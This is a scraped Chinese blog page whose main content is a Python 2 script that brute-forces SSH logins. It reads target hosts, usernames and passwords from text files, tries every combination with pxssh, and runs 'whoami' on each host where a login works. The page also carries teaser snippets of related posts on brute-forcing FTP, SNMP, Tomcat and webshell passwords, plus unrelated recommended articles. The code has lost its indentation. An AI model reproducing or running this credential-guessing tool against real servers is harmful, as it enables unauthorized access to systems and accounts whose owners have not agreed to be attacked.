python ssh 爆破_ssh爆破(python脚本)
最近在乌云看到一份端口详解:为了锻炼自己,按照端口详解写脚本
#!/usr/local/bin/ python
# -*- coding: UTF-8 -*-
__author__ = 'yangxiaodi'
from multiprocessing import Pool
from pexpect import pxssh
import sys
reload(sys)
sys.setdefaultencoding( "utf-8" )
datas=[]
def connect():
cmd = 'whoami'
for data in datas:
host = data.split(':',2)[0]
user = data.split(':',2)[1]
password = data.split(':',2)[2]
try:
s = pxssh.pxssh(timeout=3)
s.login(host,user,password)
s.sendline(cmd)
s.prompt()
print '[+] ssh host:'+host+' user:'+user+' password:'+password+' 执行命令:'+s.before
except:
print u'错误 [-] ssh host:'+host+' user:'+user+' password:'+password
def read_file(filepath):
f = open(filepath).readlines()
return f
def get_host_user_pass():
host = read_file('host.txt')
for h in host:
h = h.replace('\n','')
user = read_file('user.txt')
for u in user:
u = u.replace('\n','')
passs = read_file('pass.txt')
for pas in passs:
pas = pas.replace('\n','')
datas.append(h+':'+u+':'+pas)
return True
resu = []
get_host_user_pass()
p = Pool()
resu.append(p.apply_async(connect,args=()))
p.close()
p.join()
for res in resu:
print res.get()
print 'all subprocesses done.'
本地要有三个文件 user.txt , host.txt , pass.txt
这次没在脚本做判断,遇到成功的还是继续爆破成功的ip,原因是用了多进程,然后不会改,留到后面再来解决。(有人帮忙吗)
ftp爆破(python脚本)
最近在乌云看到一份端口详解:为了锻炼自己,按照端口详解写脚本 #!/usr/local/bin/ python #-*- coding: UTF-8 -*- __author__ = '' from ...
snmp爆破(python脚本)
snmp用来获取信息,然后利用获取的信息来进一步的渗透. 命令行有 snmpwalk -v 2c -c public ip system -c是密码,默认的密码是public 利用工具可以找windo ...
python多线程ssh爆破
python多线程ssh爆破 Python 0x01.About 爆弱口令时候写的一个python小脚本,主要功能是实现使用字典多线程爆破ssh,支持ip表导入,字典数据导入. 主要使用到的是pyth ...
python ssh弱口令爆破多线程脚本及遇到的一些错误与问题
练习写了个SSH弱口令爆破多线程脚本,遇到的问题 1.一开始想import pexpect 中的pxssh 然而却一直该有错误, ImportError: cannot import name spa ...
一句话爆破速度提升一千倍python脚本
这个脚本是接地提供的思路,一句话爆破速度提升一千倍,看了他的帖子然而没有看到工具,思路很牛逼,我提供一个Python脚本本地测试了下,十万密码只需要3秒,速度还是可以的 # coding:utf-8 ...
ssh爆破脚本
前些天,基友发我一个ssh爆破工具,看起来很吊的样子.然后我就无聊自己写了个py脚本的. 单线程:慢成狗----- #coding:utf-8 #author:jwong import threadi ...
WEB中间件--tomcat爆破,burp和python脚本
1.tomcat 用burpsuit进行弱口令爆破 先抓包 发送到inturder payload type 选择custom iterater 第一个payload选用户名文件,第二个payload ...
Python SSH爆破以及Python3线程池控制线程数
源自一个朋友的要求,他的要求是只爆破一个ip,结果出来后就停止,如果是爆破多个,完全没必要停止,等他跑完就好 #!usr/bin/env python #!coding=utf-8 __author_ ...
python脚本后台运行
问题描述: 环境: CentOS6.4 一个用python写的监控脚本test1.py,用while True方式一直运行,在ssh远程(使用putty终端)时通过以下命令启动脚本: python t ...
随机推荐
Jquery DIV滚动至浏览器顶部后固定不动代码
$(function(){ //获取要定位元素距离浏览器顶部的距离 var navH = $(".win").offset().top; //滚动条事件 $(window).scr ...
Top Data Scientists to Follow &; Best Data Science Tutorials on GitHub
http://www.analyticsvidhya.com/blog/2015/07/github-special-data-scientists-to-follow-best-tutorials/ ...
开发工具 之 PowerDesigner 应用积累
1.在默认情况下,code与name是联动,修改了name中的数据. 解决方法:设置菜单栏选择"Tools→General Options→Dialog" 中的 "Na ...
网络的基本概念TCP, UDP, 单播(Unicast), 多播(多播)(Multicast)
章相当低级,但相当重要! 我们周围一切差点儿都依赖于把事情抽象成低等级,并在某一点把它详细化,在一些设计概念中.接口层十分清晰而且目标非常集中,应用程序不用考虑操作系统怎样工作,操作系统也不用考虑硬件 ...
Promise对象解读
首先强调的是"Promise"是对象,也就是说与其他JavaScript对象的用法,没有什么两样:其次,它起到代理作用(proxy),充当异步操作与回调函数之间的中介.它使得异步操 ...
margin相关
1.图片与文字对齐问题 如果图片和文字差不多大时,使用兼容性强的margin负值方法. 方法:img{margin:0 3px -3px 0;} 2.div嵌套后margin出现失效(转移)问题 原因 ...
xss攻击与防御
一.XSS攻击 Cross Site Scripting跨站脚本攻击 利用js和DOM攻击. 盗用cookie,获取敏感信息 破坏正常页面结构,插入恶意内容(广告..) 劫持前端逻辑 DDos攻击效果 ...
PHP基础(命名错误)错误导致的500
记得去年七月份参与一个项目发生的一个低级错误 因为不小心在命名一个方法时使用了一list做为名称,因此在后面无明业火被点燃. 发现一个500,无论如何调整总是500,数据库,文件,url都正确,但就是 ...
hdu 2973";YAPTCHA";(威尔逊定理)
传送门 题意: 给出自然数 n,计算出 Sn 的值,其中 [ x ]表示不大于 x 的最大整数. 题解: 根据威尔逊定理,如果 p 为素数,那么 (p-1)! ≡ -1(mod p),即 (p-1)! ...
tensorflow c/c++库使用方法
tensorflow目前支持最好的语言还是python,但大部分服务都用C++ or Java开发,一般采用动态链接库(.so)方式调用算法,因此tensorflow的c/c++ API还是有必要熟悉 ...
python ssh 爆破_ssh爆破(python脚本)相关推荐
- python ssh实现_SSH协议的Python实现paramiko
paramiko安装 SSH是一个协议,paramiko 是一个Python 的库,该库支持sshv2协议,实现了对远程服务器执行操作 安装命令: pip3 install paramiko SSHC ...
- python ssh模块_windows下python SSH的使用——paramiko模块
paramiko模块实例. #!/usr/bin/python import paramiko server_ip = '192.168.*.*' server_user = 'your_user' ...
- python调用js批量爆破账号密码
python调用js批量爆破账号密码 前言 流程 爬取账号 爆破 参考文章 前言 在进行默认弱口令爆破的时候遇到了使用js对账号密码加密,而且加密算法写的比较复杂,如果用python重新写一个加密算法 ...
- python新建文件夹口令_Python脚本破解压缩文件口令实例教程(zipfile)
zipfile模块是python中一个处理压缩文件的模块,解决了不少我们平常需要处理压缩文件的需求 ,本文主要谈谈zipfile几个常用的用法. 环境:Windows python版本2.7.15 P ...
- 【逗老师带你学IT】HUAWEI华为防火墙自动化运维Python ssh管理网络设备
本文,介绍一种.通过Django框架,搭建API服务器,并通过此API服务器管理华为防火墙.并以此衍生出,通过Django+Python+ssh的方式管理网络设备的方法. 关于Django环境的搭建, ...
- python ssh连接服务器_pycharm通过ssh连接远程服务器教程
由于想要使用pycharm连接Window子系统Ubuntu进行开发,找了很多教程都不够详细,花了点儿时间,最后配置成功. 将pycharm连接Window子系统的配置过程总结如下,连接其它远程服务器 ...
- Python for虚幻引擎编辑器工具脚本学习教程
Python for Unreal Engine Editor Tools Scripting MP4 |视频:h264,1280×720 |音频:AAC,44.1 KHz,2 Ch 语言:英语+中英 ...
- Python迁移MySQL数据到MongoDB脚本
MongoDB是一个文档数据库,在存储小文件方面存在天然优势.随着业务求的变化,需要将线上MySQL数据库中的行记录,导入到MongoDB中文档记录. 一.场景:线上MySQL数据库某表迁移到Mong ...
- Python ssh连接Linux服务器报Incompatible ssh peer (no acceptable kex algorithm) 解决方法
Python ssh连接Linux服务器报Incompatible ssh peer (no acceptable kex algorithm) 解决方法 参考文章: (1)Python ssh连接L ...
最新文章
- javascript-Global与Math对象
- 机器学习中距离和相似性度量方法
- idea 快捷键获取类的全限定类名(包名+类名)
- 快速排序 java导包_排序算法-快速排序(Java实现)
- 需求分析——掌握和使用UML建模语言顺序图模型
- if函数判断单元格颜色_excel中的if函数,实现自动判断
- PAT乙级(1001 害死⼈不偿命的(3n+1)猜想)
- WindowsServer2012 DFS配置出错原因
- 工具使用-----Jmeter-脚本的录制
- php怎么自动识别车牌号,车牌号自动识别系统怎么录入,很多你不知道的潜规则...
- ssm毕设项目住宅小区停车管理系统494ak(java+VUE+Mybatis+Maven+Mysql+sprnig)
- Flutter集成与打包iOS应用
- 站在知乎肩上-做更强的自己(4)
- c# word 在当前光标位置插入内容
- java 加密并打包_java实现将多个文件打包成zip压缩文件以及对压缩文件的加密
- 操作系统PV大题_小和尚老和尚喝水问题
- 区块链调研备份8.1
- Maxon CINEMA 4D Studio R26.014 三维建模软件C4D R26
- 单仓库设施选址决策方法(重心法,C语言代码)
- throws和throw的作用
热门文章
- 计算机能换显卡吗,联想台式机可以更换显卡
- 南航TRANS复现: 电容电流前馈+电网电压全前馈_单相LCL并网逆变器仿真
- 判断linux标准输入法,[fcitx]linux下的中文输入法(非准确)
- 基于javaweb学生课程管理系统
- Face Recognition数据集总结
- java 策略模式例子_java策略模式实例解析
- 无刷直流电机虚拟中性点分析
- JS数组定义,遍历,判断是否是数组
- C# winform 基于MYSQL数据库 简单使用动态TreeView
- Spring3 MVC请求参数获取的几种方法